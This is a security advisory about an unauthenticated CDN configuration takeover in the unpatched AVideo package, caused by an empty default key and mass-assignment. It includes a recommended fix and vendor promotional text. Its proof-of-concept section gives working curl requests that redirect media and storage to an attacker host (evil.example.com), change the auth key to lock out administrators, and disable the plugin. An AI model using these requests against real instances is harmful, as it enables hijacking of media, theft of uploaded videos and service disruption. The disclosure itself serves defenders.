GHSA-r64r-883r-wcwh
HIGHAVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter.
Details
The CDN plugin defines a default empty key in plugin/CDN/CDN.php:68:
$obj->key = "";
The status.json.php endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:
// Line 16-19: Requires attacker to provide SOME key value
if (empty($_REQUEST['key'])) {
$resp->msg = 'Key is empty';
die(json_encode($resp));
}
// Line 21-26: Only validates key IF stored key is non-empty
if (!empty($obj->key)) { // When key is "" (default), this is FALSE
//check the key
if ($obj->key !== $_REQUEST['key']) {
$resp->msg = 'Key Does not match';
die(json_encode($resp));
}
}
When the stored key is the default empty string "", !empty("") evaluates to false, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.
Following the bypass, lines 28-31 perform unchecked mass-assignment:
$obj->key = $_REQUEST['key'];
foreach ($_REQUEST['par'] as $key => $value) {
$obj->{$key} = $value;
$resp->{$key} = $value;
}
The attacker-controlled par array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:
$cdn = AVideoPlugin::loadPluginIfEnabled('CDN');
$id = $cdn->setDataObject($obj);
setDataObject() in Plugin.abstract.php:263 serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.
Exploitable properties (defined in CDN.php:62-87) include:
CDN— main CDN URL for serving all video contentCDN_S3,CDN_B2,CDN_FTP— storage-specific CDN URLsenable_storage— enables CDN storage functionalitystorage_hostname,storage_username,storage_password— storage backend credentialskey— the authentication key itself (via mass-assignment, can override line 28)
The disable.json.php endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: $cdn->setStatus('inactive')).
This contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, Gallery/saveSort.json.php (commit 087dab884) uses isGlobalTokenValid(), and commit daca4ffb1 added User::isAdmin() checks to other configuration endpoints.
PoC
Prerequisites: AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).
Step 1: Verify CDN plugin is enabled and key is default
curl -s 'https://target/plugin/CDN/status.json.php' \
-d 'key=anything' \
-d 'par[CDN]=https://evil.example.com/'
If the response contains "error":false, the key bypass worked and CDN URL has been overwritten.
Step 2: Full takeover — redirect media, enable storage with attacker credentials, lock out admins
curl -s 'https://target/plugin/CDN/status.json.php' \
-d 'key=initial-bypass' \
-d 'par[CDN]=https://evil.example.com/' \
-d 'par[enable_storage]=1' \
-d 'par[storage_hostname]=evil.example.com' \
-d 'par[storage_username]=attacker' \
-d 'par[storage_password]=controlled' \
-d 'par[key]=attacker-secret-key'
This single request:
- Redirects all CDN-served media URLs to attacker's server
- Enables CDN storage pointing to attacker-controlled host
- Sets the key to
attacker-secret-key, locking legitimate administrators out of reconfiguring via this endpoint
Step 3: Disable CDN entirely (denial of service)
curl -s 'https://target/plugin/CDN/disable.json.php' \
-d 'key=attacker-secret-key' \
-d 'par[x]=1'
This deactivates the CDN plugin, disrupting media delivery.
Impact
An unauthenticated remote attacker can:
- Redirect all media delivery — By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing.
- Exfiltrate uploaded videos — By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker's storage server.
- Overwrite storage credentials — The
storage_hostname,storage_username, andstorage_passwordfields are all mass-assignable, allowing the attacker to hijack the storage backend. - Lock out administrators — By setting the
keyvia mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected). - Disable CDN — Via
disable.json.php, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.
The vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured — which is the default state immediately after enabling the plugin.
Recommended Fix
Add proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In plugin/CDN/status.json.php and plugin/CDN/disable.json.php, add an admin check after the configuration include:
require_once dirname(__FILE__) . '/../../videos/configuration.php';
_session_write_close();
header('Content-Type: application/json');
$resp = new stdClass();
$resp->error = true;
$resp->msg = '';
// Fix: Require admin authentication
if (!User::isAdmin()) {
$obj = AVideoPlugin::getDataObjectIfEnabled('CDN');
if (empty($obj) || empty($obj->key) || empty($_REQUEST['key']) || $obj->key !== $_REQUEST['key']) {
$resp->msg = 'Authentication required';
die(json_encode($resp));
}
}
Additionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:
$allowedParams = ['CDN', 'CDN_S3', 'CDN_B2', 'CDN_FTP', 'CDN_Live'];
foreach ($_REQUEST['par'] as $key => $value) {
if (!in_array($key, $allowedParams, true)) {
continue;
}
$obj->{$key} = $value;
$resp->{$key} = $value;
}
This prevents mass-assignment of sensitive properties like key, storage_password, storage_hostname, and enable_storage even when the key-based auth is legitimately used by CDN nodes.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-r64r-883r-wcwh yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r64r-883r-wcwh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r64r-883r-wcwh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r64r-883r-wcwh in your dependencies?
O3 detects GHSA-r64r-883r-wcwh across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.